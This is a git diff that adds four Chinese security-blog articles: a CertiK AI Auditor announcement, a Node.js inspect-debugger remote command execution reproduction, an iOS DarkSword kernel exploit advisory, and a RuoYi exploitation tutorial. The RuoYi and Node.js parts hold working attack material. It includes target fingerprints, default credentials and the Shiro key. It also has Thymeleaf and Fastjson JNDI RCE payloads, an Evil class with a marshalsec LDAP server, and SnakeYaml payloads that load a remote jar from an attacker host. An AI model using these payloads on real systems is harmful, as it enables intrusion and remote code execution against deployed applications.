-0,0 +1,53 @@ +# CertiK推出AI Auditor：兼顾低误报与高精准，实测锁定88.6%真实漏洞 +原创 CertiK + CertiK CertiK 2026-04-07 14:00 + +4月7日，CertiK正式推出了AI审计工具——AI Auditor，并同步发布了一系列AI开发智能体（AI Coding Agents）的开源集成方案。这套系统最初是为CertiK内部安全专家打造的辅助工具，在历经超过六个月的真实业务场景验证后，今天我们决定将其正式对外开放。 + +针对2026年35起真实Web3安全事件的评估中（测试数据未参与模型训练或知识库构建），AI Auditor成功精准锁定了 +88.6%的真实漏洞成因。在系统设计上，我们着重强调“高信噪比”： +在保持高检测能力的同时，大幅降低误报的噪音，从而为开发者提供更准确的安全参考。 + +随着AI开发工具与智能体成为Web3开发团队的标配，行业安全防护逻辑正从“事后检测”向“全流程嵌入”加速演进。CertiK的AI Auditor将原本独立于项目后期的安全审计， +前置为工作流中持续运行的辅助功能； +使开发者无需切换环境，即可获取链上安全洞察，也缩短了对新兴威胁的响应时间。 + + +# 从“发现漏洞”走向“识别关键风险” + + + +噪音流向图 + +传统漏洞检测工具往往面临“噪音过高”的问题，大量误报不仅增加开发者负担，也可能掩盖真正的高风险问题。而CertiK AI Auditor聚焦于“ +低噪音、高信号”的安全洞察， +帮助开发团队更早识别并处理真正重要的安全风险，从而在开发生命周期的更早阶段完成风险管控。 + +CertiK联合创始人顾荣辉表示，行业关注的重点已不再局限于“AI是否能够发现漏洞”，而在于“AI能否帮助开发团队更早识别真正值得关注的安全问题”。他指出，通过有效过滤大量误报信息，AI Auditor能够提供更具可操作性的高质量信号，将安全从传统开发流程中的瓶颈，转变为Web3团队的效率加速器。 + + +# 核心能力：多阶段验证机制与威胁知识库 + + + +核心架构图 + +AI Auditor由CertiK专有的“多阶段验证器（Multi-Stage Validator）”系统驱动。其内置的MultiScanner框架同时运行多种专用扫描器，而非依赖单一的AI模型。在生成初始结果后，验证器会对警报进行多轮去重，并对漏洞的“语义有效性”和“实际可利用性”进行交叉验证，以 +过滤掉无实际威胁的冗余信息，最终仅向开发者呈现真正具备风险的核心安全问题。 + +此外，AI Auditor还内置 +持续更新的威胁知识库，将真实世界中的漏洞利用案例、一线审计发现、新兴攻击模式转化为结构化数据，使得AI Auditor能够在推理阶段直接调用最新的威胁情报，弥补了静态模型训练带来的数据滞后性。 + + +# 与人类专家协同，而非替代 + + +在应用层面， +AI Auditor被设计为人类专家的协同工具，而非替代者。它可以承担基础检测、预审（pre-audit）分流以及持续监控等工作，从而释放安全专家的精力，使其专注于复杂漏洞与协议级风险分析。 + +同时，AI Auditor具备模块化设计能力，可根据项目的开发语言、系统架构、风险画像进行定制化适配，适用于DeFi协议以及各类机构级应用场景。 + +作为全球最大的Web3安全公司，我们的探索不止于此。此次AI Auditor的发布只是我们整体AI路线图的早期一步。目前，团队正在开发更多新功能，计划将安全能力进一步集成至更广泛的开发者工具、合规流程以及机构级监控体系中，从而推动Web3安全基础设施向智能化与一体化方向演进。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/mHUbQLu9aKkzUzMI4TIaLqGmFv3Tb6l6n5icsH0UYmUo71WUibpicfic3YsT1xvfrkLyoCKKBWTA7pNia5d2V1TwjhA/640?wx_fmt=png&from=appmsg "") + diff --git a/doc/2026-04/【成功复现】Node.js inspect调试远程命令执行.md b/doc/2026-04/【成功复现】Node.js inspect调试远程命令执行.md new file mode 100644 index 00000000..48b74b9c --- /dev/null +++ b/doc/2026-04/【成功复现】Node.js inspect调试远程命令执行.md @@ -0,0 +1,143 @@ +# 【成功复现】Node.js inspect调试远程命令执行 +原创 弥天安全实验室 + 弥天安全实验室 弥天安全实验室 2026-04-08 04:48 + +# + +网安引领时代，弥天点亮未来   +  + + + + + +  + +![Image](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hDCVZx96ZMibcJI8GEwNnAyx4yiavy2qelCaTeSAibEeFrVtpyibBCicjbzwDkmBJDj9xBWJ6ff10OTQ2w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&randomid=2jntd263&tp=webp#imgIndex=0 "") + + +**0x00写在前面** + +**本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！** + +![Image](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hDCVZx96ZMibcJI8GEwNnAyx4yiavy2qelCaTeSAibEeFrVtpyibBCicjbzwDkmBJDj9xBWJ6ff10OTQ2w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&randomid=7c3v7kvq&tp=webp#imgIndex=1 "") + + +**0x01组件介绍** + + +![](https://mmbiz.qpic.cn/mmbiz_png/YfTkN0R6oGgHoq7J5luzdicGIS9micZ1KmHFiaMHguQqAQP5oBasiarUZ1jQyVnywRtOHExKgT5hSwJ1oy19diafib5RzrHop6CjdrG7Z3ibmKLZbg/640?wx_fmt=png&from=appmsg "") + + +Node.js是一个开源、跨平台的 JavaScript 运行时环境。 + + +![Image](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hDCVZx96ZMibcJI8GEwNnAyx4yiavy2qelCaTeSAibEeFrVtpyibBCicjbzwDkmBJDj9xBWJ6ff10OTQ2w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&randomid=bzequ3sx&tp=webp#imgIndex=3 "") + + +**0x02影响版本** + +开启Node.js inspect调试模式并将服务暴露于公网 + +![Image](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hDCVZx96ZMibcJI8GEwNnAyx4yiavy2qelCaTeSAibEeFrVtpyibBCicjbzwDkmBJDj9xBWJ6ff10OTQ2w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&randomid=bzequ3sx&tp=webp#imgIndex=5 "") + + +**0x03风险复现** + + +1.访问运行环境 + +![](https://mmbiz.qpic.cn/mmbiz_png/YfTkN0R6oGiarWbnypcOzr8XGX3cjicOx0soJDeejiaZuj3Yjs7kbbicmribiaCW1Qx0HyRNibl6EOicoXGny8ZHcjbuvztO9icN1ueRr9EibHPhDQwicM/640?wx_fmt=png&from=appmsg "") + + +2.风险复现 + +1、获取调试接口 +``` +GET /json HTTP/1.1 +User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) +Accept-Encoding: gzip, deflate +Accept: */* +Connection: close +Host: 127.0.0.1 +``` + +返回200，并且响应体存在接口 + +![](https://mmbiz.qpic.cn/mmbiz_png/YfTkN0R6oGiaN1YEWWjADbpeUibAg5x63u21t7e9ODr903tOcib2H20aqM20LhSqdxBhRGCcIoQZxP5qkkcrU4M8xWKNDrScP1paAXhZAHrEV0/640?wx_fmt=png&from=appmsg "") + +2、通过浏览器访问调试接口 +``` +devtools://devtools/bundled/inspector.html? +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/YfTkN0R6oGiaQc6hqbRWLYvB1icFZ80fxJIawcYNznYlY7eeHzuAiatSPib69aA81lrIJ0OWb2SwsKXj1ajmvv5smbsaicYLhZKiakUJGn7JIaNJM/640?wx_fmt=png&from=appmsg "") + +开启允许输入 +``` +devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.0:10000/e06fc35f-b95c-48dd-89b1-15f932816379 +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/YfTkN0R6oGjVyKPToC5ib0bU2XHYn8LvFhC0eEGTUArjrDyMsuIhrMEDZIUdjtMBialxQFu5aLEgwpGrpoy56FibVqvq0BCicCNetpHicYydzUl4/640?wx_fmt=png&from=appmsg "") + +成功执行id命令 +``` +require("child_process").exec("id ", (err,std) => console.log(std)) +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/YfTkN0R6oGg6Rhm6ZG4NCAHoCKtFWEM71zfrQkBZ2O2gYmPBwm56K0ylUmIA3P2SqWmc5Hd8dcHBZHlGicjOoPOXuWKjjYv3BH2sMB1vmBQE/640?wx_fmt=png&from=appmsg "") + + +![Image](https://mmbiz.qpic.cn/mmbiz_png/MjmKb3ap0hDCVZx96ZMibcJI8GEwNnAyx4yiavy2qelCaTeSAibEeFrVtpyibBCicjbzwDkmBJDj9xBWJ6ff10OTQ2w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&randomid=bzequ3sx&tp=webp#imgIndex=3 "") + + +**0x04修复建议** + + +1、严格遵循Node.js官方安全要求，非必要不开启 inspect 调试功能。 + +2、若开发过程中确需使用，确保调试服务仅绑定本地地址（--inspect=127.0.0.1），禁止暴露于公网，并通过防火墙、IP 白名单等手段限制访问权限。 + + +  再次声明本文仅供学习使用，非法他用责任自负！ 人是安全的尺度 + +        + +``` +https://nodejs.org/en/blog/vulnerability/february-2023-security-releases/ +https://zhuanlan.zhihu.com/p/1947267306074912700 +``` + + +弥天简介 + +学海浩茫，予以风动，必降弥天之润！弥天安全实验室成立于2019年2月19日，主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子，也是民间组织。主要以技术共享、交流等不断赋能自己，赋能安全圈，为网络安全发展贡献自己的微薄之力。 + +口号 网安引领时代，弥天点亮未来 + + + +![Image](https://mmbiz.qpic.cn/mmbiz_gif/b96CibCt70iaaqjXT4YxgHVARD1NNv0RvKtiaAvXhmruVqgavPY3stwrfvLKetGycKUfxIq3Xc6F6dhU7eb4oh2gg/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&randomid=h6lqq1ue&tp=webp#imgIndex=8 "") + +  + + +知识分享完了 + +喜欢别忘了关注我们哦~ + +学海浩茫， + +予以风动， + +必降弥天之润！ + + +   弥  天 + +安全实验室 + +![Image](https://mmbiz.qpic.cn/mmbiz_jpg/MjmKb3ap0hDyTJAqicycpl7ZakwfehdOgvOqd7bOUjVTdwxpfudPLOJcLiaSZnMC7pDDdlIF4TWBWWYnD04wX7uA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&randomid=u34b870m&tp=webp#imgIndex=9 "") + + + diff --git a/doc/2026-04/【漏洞预警】更新iOS 18.6也逃不掉 DarkSword内核漏洞利用.md b/doc/2026-04/【漏洞预警】更新iOS 18.6也逃不掉 DarkSword内核漏洞利用.md new file mode 100644 index 00000000..b36b00bf --- /dev/null +++ b/doc/2026-04/【漏洞预警】更新iOS 18.6也逃不掉 DarkSword内核漏洞利用.md @@ -0,0 +1,79 @@ +# 【漏洞预警】更新iOS 18.6也逃不掉 DarkSword内核漏洞利用 + Ots安全 2026-04-08 04:50 + +**威胁简报** + + +**恶意软件** + + +**漏洞攻击** + +近日，GitHub仓库rooootdev/lara（WIP darksword kexploit implement）引发安全社区关注。该工具实现了针对 +iOS 18.6（及部分相邻版本）的内核级利用（kexploit），可实现完整文件系统访问与root权限获取。开发者明确表示，Lara最高支持至iOS 18.7.1 / iOS 26.0.1，相关漏洞已在后续版本中被修补。 + +事件概况 + +Lara基于DarkSword exploit chain开发，目前已在iPhone SE2（iOS 18.1.1）、iPhone XS Max（iOS 18.6）等设备上测试通过。通过侧载IPA后运行“Run All”即可触发DarkSword内核利用+沙箱逃逸，实现完全root权限与文件系统读写。社区反馈显示，该实现已在部分设备上取得完整filesystem access。 + +DarkSword是一条真实世界的iOS全链式攻击链，涉及多个零日或已知漏洞，主要通过Safari浏览器访问恶意网页即可发起静默妥协，已被多家商业监视厂商及疑似国家行为体在实际行动中使用。其影响范围覆盖iOS 18.4至18.7系列，最高可导致设备被完全控制并部署后门载荷。 + +攻击链与TTPs简析 +- 初始访问：主要依赖WebKit/JavaScriptCore内存破坏漏洞（如CVE-2025-31277、CVE-2025-43529等），通过精心构造的网页触发。 + +- 权限提升：利用内核读写原语（kernel r/w），绕过PAC（Pointer Authentication Codes）等防护，最终实现sandbox escape与root。 + +- DarkSword核心：链式组合多漏洞（含JavaScriptCore JIT优化/类型混淆、垃圾回收bug等），构建arbitrary read/write能力，进而部署GHOSTBLADE、GHOSTKNIFE等最终载荷。 + +- Lara实现特点：当前为WIP状态，集成DarkSword kexploit，操作相对简化（侧载IPA后一键触发）。支持范围明确上限为18.7.1/26.0.1，之后版本已打补丁。 + +影响范围与受害者画像 +- 受影响版本：iOS 18.4 ~ 18.7.1（含18.6），对应iPhone XS及更新机型、iPad相应型号。 + +- 高风险场景：未及时更新设备的普通用户、依赖旧版本的企业/机构设备、越狱/测试环境。 + +- 实际威胁：DarkSword已被观察到用于真实间谍活动，一旦触发可实现持久化控制。Lara的公开实现可能被低技术门槛攻击者借鉴，用于本地物理访问或侧载场景下的权限提升测试。 + +检测建议 +- 检查设备系统版本，优先升级至iOS 18.7.3及以上或iOS 26系列（已包含针对DarkSword的多项修复）。 + +- 监控异常Safari活动、未知IPA侧载行为、内核级读写异常日志。 + +- 企业环境建议启用严格MDM策略，限制侧载并强制更新；开启Lockdown Mode可进一步降低WebKit相关风险。 + +- 蓝队可关注JavaScriptCore相关崩溃或异常内存操作作为早期信号。 + +缓解与修复措施（优先级排序） +1. 立即更新系统：升级至最新iOS版本，Apple已在iOS 18.6及后续补丁中逐步修复相关内存破坏与状态管理问题。 + +1. 避免侧载未知IPA：仅从可信来源安装应用，禁用“信任企业开发者”选项。 + +1. 启用安全功能：开启“锁定模式”（Lockdown Mode），限制WebKit高级功能。 + +1. 监控与响应：定期审查系统日志，出现可疑内核行为时隔离设备并进行取证。 + +1. 长期建议：对于高价值设备，考虑使用最新硬件并保持系统在支持周期内。 + +总结 + +Lara仓库的出现标志着DarkSword相关内核利用技术走向公开化与社区实现阶段，虽然目前仍为WIP，但已能在特定iOS 18.6设备上实现完整root访问。这再次提醒我们，及时打补丁是防御浏览器驱动攻击链的最有效手段。建议所有iOS用户检查并更新系统，避免在易受影响版本上进行高风险操作。 + +项目： + +https://github.com/rooootdev/lara + +**END** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/zNsFJyIuL0FRMVZUq8Lj4RqbUf5RygcOIVTicIorZUK4Cg5CJg2HptMvdb5LxbNiaM8oln7M45oIFQ9Qmuj5rzTxQWzwZcL1QnrgRQgzjYbB8/640?wx_fmt=jpeg&from=appmsg "") + + +公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址 + +排版 编辑 | Ots 小安  + +采集 翻译 | Ots Ai牛马 + +公众号 |  +AnQuan7 (Ots安全) + diff --git a/doc/2026-04/一篇文教会你若依漏洞复现.md b/doc/2026-04/一篇文教会你若依漏洞复现.md new file mode 100644 index 00000000..dd3cd2df --- /dev/null +++ b/doc/2026-04/一篇文教会你若依漏洞复现.md @@ -0,0 +1,540 @@ +# 一篇文教会你若依漏洞复现 +原创 web安全小白 + web安全小白 web安全小白 2026-04-08 01:00 + +**点击上方蓝字关注我们** + +目前微信公众号调整了推送机制，如果你不希望错过更新内容建议把**web安全小白**“**设为星标**”，否则之后可能会收不到我的推送，错过一些重要的安全知识、实战技巧和最新漏洞信息。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXvVQ4CUoI8HcDXNEhiaxQW4UuPicdbYialke7gIlDarZwPgWEA5bXfodvhKF3uAtt040arjGIpG9C9CIoDdu2VSBGFqqe2ugPXayE/640?wx_fmt=png&from=appmsg "") +## 源码下载 + +下载地址：https://gitee.com/y_project/RuoYi + +下载地址：https://github.com/yangzongzhuan/RuoYi + +![](https://mmbiz.qpic.cn/mmbiz_png/bhDuGkpteXtdKVqsS36zViax8HhLkxJuVIdibkQh3sHgW1cXUDFappG86bTDq3p9IY9Jial0bhA0oXGwKbUUdX6ibpR7cgwhRVGGaNeJlQqxBFQ/640?wx_fmt=png&from=appmsg "") +## 环境搭建 +### 漏洞复现环境 + +JDK >= 1.8 (推荐1.8版本)IDEA 2023若依后台管理系统 v4.2 + +若依后台管理系统 v4.5 +### 端口修改 + +将里面端口信息进行修改，防止因为端口重复而导致代码无法正常运行 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXuJ6PyehiawqCtGeCPKYrV8efwtXicicdXiavc2vVeDCdfUkJEeh1F6QETBX2R5bbSX8Q8VqRCqmj9UdPYqJ3YehVF6E8f5VKXXFCc/640?wx_fmt=png&from=appmsg "") +### 数据库配置 + +这里填写自己MySQL数据库的账号和密码 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXtljWc6uZpjDDvJTCKlkw1z35lR9qphlW3N8B37oKUnwzJicEb1PCRcwMvngKo5wCBwgf0WBQicedEaRVhqazLXvwSE4OdUhzmBU/640?wx_fmt=png&from=appmsg "") +### 数据导入 + +根据代码中数据库的连接信息，创建一个库名为ry的数据库 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXtTN8h6arxlV0S9QbN9HeVtviaZu9jOiaZ1TDX8falxZIiaVhxr3bY1XyIlZrxcQqY3zPk4UNcfM0PG8WHLXurjjHcRKibql8libLoA/640?wx_fmt=png&from=appmsg "") + +将源码中sql文件夹内的数据信息进行导入 + +![](https://mmbiz.qpic.cn/mmbiz_png/bhDuGkpteXvCX1x4oUtGPgXj9wAISZDP2D6UWCRyKVL0wWGiaq12Hc6ZTgoHOyicDfHFatfoyVHLkhVQZAzoYdtO1H3wjibKg2E9fa4v4o6fFE/640?wx_fmt=png&from=appmsg "") + +选择好数据文件后，点击执行 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXvOnQ4dEtCX56mt1kXm3TSqulgNQZ6bZboGezlMAkEKdn85jDEjeHqppb1geef39zwLOCfpxqXmnxEjxhNzIqpj4Bicic2srvqa8/640?wx_fmt=png&from=appmsg "") + +全部导入完成后会出现如下情况 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXs4ynK6dhrK8IHSsacKheoXRds3pZgyrm6Kianv5dLZTPAlL544SNN6nhPEucwGz3wodVAYYLTKRLsZ9sAGU5GcbThfrnvb1RTg/640?wx_fmt=png&from=appmsg "") +### 启动 + +点击右上角的三角形即可运行代码 + +![](https://mmbiz.qpic.cn/mmbiz_png/bhDuGkpteXujP42jjOLycoTia5mGm14iczNQMH5Dlmx8FVo5Zzh6lXFw2zVWvFPicRJOG1fKzO9wFD2fqBSIH3MG1FdRfAeTwFVibUYkLSJRcibI/640?wx_fmt=png&from=appmsg "") +## 指纹信息 + +FOFA + +黑若依:icon_hash="-1231872293" + +绿若依:icon_hash="706913071" + +body搜索，body搜索出来的都是后端框架 + +body="请通过前端地址访问" + +body="认证失败，无法访问系统资源" +## 漏洞复现 + +![](https://mmbiz.qpic.cn/mmbiz_png/bhDuGkpteXvhrhMqXtFAs7lOQMdayxG5ib042JYChQcnfQoqicXBZq2OiaHTGI8Cl7IictX4Cch07BTVZLKsBz6Ria7kkf8g4IOr0foU57ia3Toiak/640?wx_fmt=png&from=appmsg "") +### 弱口令 + +若管理员在部署完成网站后，未能及时修改默认密码，即可造成弱口令的情况 + +http://192.168.241.106:81/login + +默认账号密码：admin/admin123 或 ry/admin123 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXuONRk3XUaaibMXI2GldPgqic87ZZK4oHTfHnibUkKcxH2s1ia5uWM7ZEXic8icNeXJz9p2UE7z8FIVfmRBmrkkDMKwWMczaB0C9dCcw/640?wx_fmt=png&from=appmsg "") + +**druid监控默认账号信息** + +请求地址: /druid/* + +控制台管理用户名和密码：ruoyi/123456 +### 组件信息 + +首先我们可以从源码的组件信息，找的其中存在漏洞的版本，开始复现漏洞 + +![](https://mmbiz.qpic.cn/mmbiz_png/bhDuGkpteXtIqwkoQtib8BrxXXjEQcg2mdwvto8RTlyweyPdWDHm5tkQfS8KEnSRmuiaHLGASe6sWkJDFbcU8QMYaI7YKQowYOF8F4bELgTQo/640?wx_fmt=png&from=appmsg "") + +pom.xml内信息 +``` + +  4.2.0 + UTF-8 + UTF-8 + 1.8 + 1.4.2 + 2.0.0 + 1.3.2 + 1.1.14 + 1.19 + 2.3.2 + 2.9.2 + 1.2.5 + 1.2.60 + 3.9.1 + 2.5 + 1.3.3 + 3.17 + 1.7 + + +``` + +若依 v4.2 组件版本详情 + +
组件名称组件版本是否存在已知漏洞
shiro1.4.2是
thymeleaf2.0.0是
druid1.1.14否
mybatis1.3.2否
bitwalker1.19否
kaptcha2.3.2否
swagger2.9.2否
pagehelper1.2.5否
fastjson1.2.60否
oshi3.9.1否
poi3.17是
velocity1.7是
snakeyaml1.23是
+### 工具利用 + +下载地址：https://github.com/binganao/Ruoyi-All + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXvgIBHURL4l35ZdsyNVKWQX1zFrEKic2iab964jGfTdHo10Y19nXEYeDkmO6QFNE27uWqfWaqciaJtickmiboPwQovdAVyRRWPE7m1Y/640?wx_fmt=png&from=appmsg "") +### shiro反序列化漏洞 + +因为若依框架默认是使用shiro组件，且使用的版本是存在漏洞的，所以我们遇见若依的框架是可以尝试使用rememberme密钥泄露Getshell + +这是若依框架内默认的秘钥：fCq+/xW488hMTCD+cmJ3aQ== + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXvg1NPPABGuibCTWtRhaqu2dTsmia3xCt9aOKODiadrwibxZg61AVCeU7W5WgbEIQDkF1xm6yxsMlBUwVGWlndVBqEib0E3N9HBwwPo/640?wx_fmt=png&from=appmsg "") + +将找到的秘钥进行填写，检查当前利用链 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXt1w6u3BHJnVvcibeXl4LmkGyRoibkKAu7oiaw4TuU2AcabpHU33vWA5K46MXVYAibTMZapWWZicY2GFkK2eNHcvrZSSiazL0hxetHmM/640?wx_fmt=png&from=appmsg "") + +执行命令，验证漏洞存在 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXtbGX0s6b38DPx1qCZDvIxr3EPKGvV4dCXHtUYDpWmQSTKXiaG7U1aiaS8VxaPwXHpO0I3FibsxvJlT7cYLGOV87J7enicuhVe5ia8w/640?wx_fmt=png&from=appmsg "") +### Thymeleaf组件漏洞 + +漏洞影响：RuoYi <= v4.7.1 + +通过对应代码的审计我们可知/demo/form/localrefresh/task 存在漏洞 +``` +POST /demo/form/localrefresh/task HTTP/1.1 + +fragment=header((${T (java.lang.Runtime).getRuntime().exec("calc")})) +url编码内容  +fragment=header(%28%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%7d%29) + +``` + +POC +``` +POST /demo/form/localrefresh/task?fragment=header(%28%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%7d%29) HTTP/1.1 +Host: xxxxx +Content-Length: 0 +Accept: application/json, text/javascript, */*; q=0.01 +X-Requested-With: XMLHttpRequest +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36 +Content-Type: application/x-www-form-urlencoded +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.9 +Cookie: JSESSIONID=xxxxxxxxxxxxxxxxx +Connection: close + +``` + +将对应的poc进行填写，exec内为需要执行的代码，这里以计算器的打开为演示，填写的测试poc需要进行编码 + +将编码后的内容进行发送，可以看见状态码虽然为500 + +![](https://mmbiz.qpic.cn/mmbiz_png/bhDuGkpteXsPKZCUjC4vo7veLLzGnEZubl2ntbFxs7sTd4PlDJFwSNf8UeCEd8KAib2cO9Gib0FuiaMoJ6OzKVcWOaayOSxsEyGg4sibuJ8JLTE/640?wx_fmt=png&from=appmsg "") + +但是我们的命令是被成功执行的，实战中可将calc替换为反弹shell的命令 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXsPPfxWtbYf5YjBUhCLIgr19gAVoELet6xluKnlAqiagsr8ImyRfuvseFGIVDq4HBeanOcdpfIpgKv4eq4FrIpz09VNuwtkDjGw/640?wx_fmt=png&from=appmsg "") +### Fastjson组件漏洞 +#### 漏洞利用 + +点击系统工具-->代码生成-->导入-->用户和角色关联表 + +![](https://mmbiz.qpic.cn/mmbiz_png/bhDuGkpteXuUs8R4zBKyZbhllVssWHY6ASrVMicSoGYjK1441llZqzyqwsETaYN4vgb0VibHQicwRkia99vdrWVPGrtYrcjeuVhWib5Fh1x6yJIY/640?wx_fmt=png&from=appmsg "") + +点击修改 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXvMgrEfVlr1NWNzVZPFicibL4VZdAwFEibwo9sKFLMqPePbHySxx3aEP8uT5JM05hTNuibaD2Ea2a2G64QbCfTRjytJMrJtliaIzQGU/640?wx_fmt=png&from=appmsg "") + +模版选择数表，其余的都选择用户ID，点击保存 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXs5eSWiaBs2LqXb0SOmibPcvBbM0k4PI3ibiaMrqUJOOQUTVT5pB428PP4JdeCdjAWn16q57bfkgLXs8eksGSC4K1e3cuwm1SJBBb0/640?wx_fmt=png&from=appmsg "") + +抓取保存的数据包 + +![](https://mmbiz.qpic.cn/mmbiz_png/bhDuGkpteXvTeAwHuzrHibXTPJGpaEAgRFPJp1NluLGexvoYcpQBRia5dpn0AtDwg1IHyFLj9zSkCXrhp5R1hxhx6oVqXc2yr1Dk24YCDSKrE/640?wx_fmt=png&from=appmsg "") + +将漏洞测试POC进行填写 +``` +POST /tool/gen/edit HTTP/1.1 + +params%5B@type%5D=org.apache.shiro.jndi.JndiObjectFactory¶ms%5BresourceName%5D=ldap://vps—ip/Evil + +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/bhDuGkpteXvdgADLCe80LacOTUaGBUia2yld4yGBgfJvqSFxO5ib8rSa0QlahbQj3FcgZYagUbEvJmJGnSrCbtJA7bnElYw7HNDNwMdNbVMA8/640?wx_fmt=png&from=appmsg "") + +审计文章推荐：https://boardmix.cn/app/editor/auVm3lLoLzcqiXyMXomakQ?inviteCode=VZrpTC +#### 恶意类的创建 + +新建项目，构建系统选择Maven + +![](https://mmbiz.qpic.cn/mmbiz_png/bhDuGkpteXu2KdI0jv4xNKrmgpJwB6shyZLoyqQpGU6atId1KYoplo6xDNLenV5504PMDzurJXJh8fuzQHEiaWBdGQ9GFpNWviaxOgyp8tD3o/640?wx_fmt=png&from=appmsg "") + +新建java类 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXucgC2en6ticSg0vPhpR70XweuvAiauFALDmia9RT9SNG3J40NxbwHva0X7vx95ibSInSZs2UM6YfXKzIQvtLJatgTibNx8iakvPZUMs/640?wx_fmt=png&from=appmsg "") + +类的名称为Evil + +![](https://mmbiz.qpic.cn/mmbiz_png/bhDuGkpteXtttVAbIiaYeibAibngfcrTm8kouGA2VcZ82VEPVcVBRp0gT1OQGtK2y0ibjuNicD9ibdD4VTibehx716EBIuGzmhSprROsX4VHv2L0dg/640?wx_fmt=png&from=appmsg "") + +Evil里面的内容 +``` +import java.io.IOException; + +public class Evil { +    static { +        try { +            Runtime.getRuntime().exec("calc"); +        } catch (IOException e) { +            throw new RuntimeException(e); +        } +    } +} + +``` + +选择Main.java，即可点击右上角开始运行 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXus0mpp8DHcjicyxbUwXnHB567dGsNf5R7uW8gXbl15e1PGMHx62NMSXkibPx8vhCFibVHGZV2GRZn5nV9ZBjEFq2DicljGZYYD960/640?wx_fmt=png&from=appmsg "") + +运行完成后，复制我们编译好的Evil + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXuPwa1jJDzRWdp12vJ16MsrEfYkBv6y4NFaDlOpGn1RibEuVzI2iaEhm05KeUIYvCBLDyt20FW0SMicdYjpJBLu3UjpaT3vVR5d68/640?wx_fmt=png&from=appmsg "") + +将构建恶意类 放在远程的vps，运行web服务器 + +python -m http.server 80 + +jdni加载恶意类 +``` +java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.241.10:80/#Evil 6666 + +``` +### SnakeYaml组件漏洞 + +漏洞影响：<= 4.6.2 +#### 漏洞利用 + +点击-->系统监控-->定时任务-->新增 + +调用目标字符串与con表达式插入我们的测试POC + +![](https://mmbiz.qpic.cn/mmbiz_png/bhDuGkpteXtHQvYjHglY8rCIiaibUib3ZOc98ftrc6stlLRicfGYBhTo5qRXe83wUe6QmP1oxVZ0mKlme5g4Zj7V8H3Lx0uURkoJovIc9EmCsMw/640?wx_fmt=png&from=appmsg "") + +调用目标字符串 +``` +org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.241.10/yaml-payload.jar"]]]]') + +``` + +版本为时：4.6.2<=Ruoyi<4.7.2 +``` +org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["h't't'p'://192.168.241.100/yaml-payload.jar"]]]]') + +``` + +con表达式，每十秒执行一次 +``` +0/10 * * * * ? + +``` + +任务状态点击打开 + +![](https://mmbiz.qpic.cn/mmbiz_png/bhDuGkpteXsqSsoEXb62rGIyQwG4ICRulxxcXwXicYrOyNf80aCQicwq4LZqBGAFpS0Rwm3Xtpmk61I5R0iaoOMVEmLvedZpBJ4cGA1v7nuhBs/640?wx_fmt=png&from=appmsg "") + +将yaml-payload.jar放入vps并开启http服务 + +python -m http.server 80 + 